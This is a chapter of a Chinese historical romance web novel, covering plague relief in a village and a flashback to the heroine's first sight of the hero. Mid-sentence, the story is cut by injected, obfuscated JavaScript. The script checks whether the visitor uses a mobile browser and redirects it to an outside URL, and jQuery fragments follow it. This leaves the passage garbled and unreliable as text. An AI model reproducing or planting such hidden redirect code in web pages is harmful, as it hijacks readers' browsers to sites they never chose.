清冽的命令如铁枷落地,沉沉砸进人心。
王布张了张嘴,愣是哆嗦着嘴唇,半天没合上。
“大大大人,小的就是个粗人,也不识字,什么都不懂……”
“不需要你懂。”
玉檀生打断他:“你只需清楚这里街巷怎么走,何处便于安置,哪户还有活人即可,做得到吗?”
王布怔怔地看着他沉肃的眼睛,脊背不自觉绷直:“……做得到。”
“好。”玉檀生颔首,“现在,把这些人拢住。”
“拢、拢住?”
“你是村里人,他们认得你。告诉他们,箱笼里装的不是粮食,是药材。要活命就排好队,若是争抢,便什么都没有。”
王布闻言眼底生光,盯着箱笼咽下一口唾沫,面上犹豫渐退,立刻扭头对着混乱的人群喊。
“听见了没?大人们是来救我们的,都给我安分点!”
他身后两名汉子意会过来,跟着高喊传达,顺带指挥起秩序。
“太好了,我们有救了!”
“娘、爹,咱家终于不用在这活活等死了!”
“官老爷们心善,是天上下凡的菩萨……”
好几拨百姓得知后,兴奋躁动不已,开始听话慢慢往旁道聚拢。
安砚之也赶忙下了车,走到车厢后方,准备叫上羽七一起搬动箱笼。
“砚之兄,且慢。”
不料玉檀生将他拦下,在众人眼巴巴的目光中,点名示意王布。
“大人,我在呢。您还有什么吩咐?”
玉檀生:“你带上帮手,把村里所有空置的屋舍都清查一遍。能用的房子标记上,并且收拾出来。”
他顿了顿,眸光掠过攒动的人群:“半个时辰后,我要听你报数,他们能否拿到药,取决于你。”
得此任务,王布面色骤变。这是给颗甜枣又架着他烤,两边都不能轻易得罪啊!
他一时有些后悔,刚才答应得太早太快。
且不说摸不清这位大人的脾性,万一办事不周到,把人家气走不救人了,他的麻烦可就大了!
可瞧着玉檀生严谨的做派,又想到背负着群众的生死……
他的头脑控制不住发热,牙狠狠一咬,果断舍掉了举棋不定的懦夫想法。
王布快速召集起相熟的邻里兄弟,留下自告奋勇的几人控制舆情。剩下的,全都火急火燎地安排去村子里分工访查。
这么一紧急动员,两位“官老爷”的素白罩衣下已尽染尘土。
阴沉的天空,还是没有要放晴的意思,但接连不断的忙碌脚步,倒让原本萧索压抑的村庄,难得有了些生机。
半个时辰很快过去。
王布等人当真没食言,个个都按时回来了。
他们跑得满头是汗,面上的破布带子变成项圈,绕在脖子上。
马车附近的普通百姓还是熙攘云集,成群结队地等候着。
王布大口呼吸,急促捋顺了气,才稳住话头上前禀报。
“大人,大致查清楚了。上月暴雨冲烂了不少房屋,现在村里还算完整的屋子,一共就三十三间。除此之外,东头有五间墙塌得不严重,可以修。西头有两间屋顶虽然坏了,但还能住人。”
“祠堂后头还有排厢房,一共八间,门窗尚好,就是里头……”
王布说到这里顿了一下。
“里头……搁着十几具尸首,都是些无儿无女的老族人,还没来得及抬出去。”
安砚之站在一旁听着,眉头不可遏制地皱了起来。
玉檀生沉吟未动,细听之余,伸手指了指王布颈间掉落的布带子。
王布一愣,连忙扯起来挡住嘴鼻,讪讪道:“大人莫怪,许是跑来的路上掉的,刚才探查的时候系得可紧呢。”
玉檀生:“继续说。”
“活着的人,小的粗粗点了个数,约莫两百多号,里面病的就占了一大半。没病的……”
他紧张地挠了挠头。
“没病的,小的实在分不清,大多都站在这儿排着。只是有些人,今儿还好好的,说不定明儿就躺下了。我们当中有些是熬过了才能起来,熬不过就没法……这时疫,它不讲理。”
王布一五一十阐述实情,生怕讲得还不够细,被当作敷衍了事。
闷热的风从巷口吹来,夹杂着一股难以形容的腐臭味。
与汉子们身上的汗味混在一起,像一堵看不见的高墙。
安砚之不自觉将面罩往上推,却发现玉檀生尚未在意,垂下眼睛,默不作声。
于是他代替着开了口:“你们这村里,原来有大夫吗?”
王布:“原先有两个,一个年轻点的,早就见情况不对,买通官吏半夜逃走了。还有一个刘老头子,已经年过半百,他倒是没跑,可如今也不肯出来。”
“为何不肯?”
“他开的药有人吃了能治,但有人来不及好转就死了,这段时间,那家人天天跑到他门口闹呢。”
“……原是如此。”
一打听是医闹之事,安砚之的脸色就变得极差。
放眼望去,大家的处境都焦躁难安。在人心惶惶、病体遍地的环境下,发生医患祸乱不可避免。
他压下心头不适,无声叹气后才道:“你可否去问问他,愿不愿意把药方写下来,我也是大夫,或许可以互相借鉴一番,研究更有效的汤药。”
“您……您是大夫?”
王布又愣住,心道这朝廷当真没放弃他们啊,竟会派人来医治!
这般恍然如梦地想着,他的鼻子陡然一酸。
“您在这等着,小的这就去将那刘老头带来!”
他来得快去得也快,排队的人听不到他们的谈话,见还没开始发放药资,便有些蠢蠢欲动。
玉檀生看在眼里,沉声启唇:“砚之兄,你去看诊咨询一番,摸清他们都有什么症状,依轻重分好类。”
安砚之目光一动,先是欲言又止,随即领悟过来,肃然点头,应了句:“好。”
怪他辞官太久,虽心善着急,但也变得有些盲目天真。
一心只想着要开箱熬药救人,殊不知这样的境况下,药材不仅稀有,还需用在刀刃上。
屋子要分,人自然也得分。
若是都混在一起,没病的染上病,轻的也拖成重的。再严重些,活的……就会变成死的。
好在玉檀生顾全了大局。
安砚之回过头,朝着羽七叮嘱:“咱们箱笼里的药材,你看紧些,一箱也不能让人碰。”
接着,他便从自己医箱里拿出干净的脉帕子,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310212|198801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头也不回地往人群队伍走去。
……
马车里,夏念慈望着他们二人背影,触动至深,目含热意。
“临风君这番用人之策,真是颇有见地。既制衡了暴动,也让救济井然有序,迅速步入正轨。”
她想,若当年她在怀州,有这样明理的指挥分工与合理安排。
也不会因是身形纤弱的女医,被愤怒的死者家属挑中,一斧头砍入胸膛,当场毙了命……
裴清禾亦是点头:“他向来都是这样,看似不动声色,却最会让人心悦诚服。”
玉檀生要真是虚有其表,从前她也不会倾心相许,非他不可。
只是此刻亲眼所见民间时疫,远比想象中更加惨不忍睹。满目疮痍摆在面前,她就愈发感到自身的无力。
原来刚进村那会儿看见的景象,并非在做劳役,而是几人在合力搬运尸体……
裴清禾自幼长在锦绣堆中,只知纸醉金迷,不知人间疾苦。而今才真正懂得,身居高位的浮华,是压在百姓希望上的巨石。
眼见玉檀生颀长的身姿,立在众生万象前。
忽然理解为何朝廷都弃之不顾的疫村,而他非要选择去救。
因他心无尊卑贵贱之分,待人始终公允如一。
让裴清禾无端想起,与玉檀生初识之日。他也是这样波澜不惊,三言两语便与旁的勋爵子弟高下立判。
那日是长公主的贺辰宴。
赴宴路上,国公府马车车辕突发断裂,以致裴清禾耽搁时辰,晚到许久,没有赶上宴席。
她匆匆而至,顾不得与人寒暄,便跑去赔礼。一顿撒娇讨罚,方才叫长公主散了气。
不巧离去时路过偏厅,听闻有客在闲谈小叙。
其中有人大作文章,明讽灵舒郡主骄纵无状,连长公主都不放在眼里。
她本就情绪不高,又不是忍气吞声的性子,那人有本事背后嚼舌根,就别怪她冲进去与他理论。
裴清禾正要发作,打算掀帘而入会会这群嘴臭纨绔。
却听一道冷淡如水的声音,隔着纱帘飘进她耳朵。
“是非在己,毁誉由人……王兄,休要轻易论断郡主之事。”
话音落下,厅内一时哑然。裴清禾掀帘的手也蓦然顿住。
也许是这声音极其好听,又是初见有人不跟风附和那些碎嘴子,没一同落井下石非议她。
裴清禾心神一晃,好似被清澈的春风拂过,留下阵阵酥麻。
她默默敛去讶异,径直穿过外廊,走到园景中假装经过,状似无意地往偏厅内看去。
彼时天光晴朗温和,透过窗棂静静落在少年郎君身上。
裴清禾抬眸望去,仅仅一眼,就捕捉到了他。
冰雕玉琢般的君子之貌,像山涧映着初雪,耀眼得宛若谪仙。
她霎时看得发痴,心跳骤然乱了节拍,面上难得透出一片绯色。
直到绿夏来园中寻她,尖着嗓子喊了几句郡主。
玉檀生闻声转眸,她才慌忙错开眼神,装作迷了路似的揉脑袋,用衣袖遮着脸,乱步走开。
豁达如她,也曾有为少女情事而躲藏,难掩羞涩的时候。
就像玉檀生不知缘起。
早在那日初闻其声,裴清禾就已经将他悄悄刻在心里。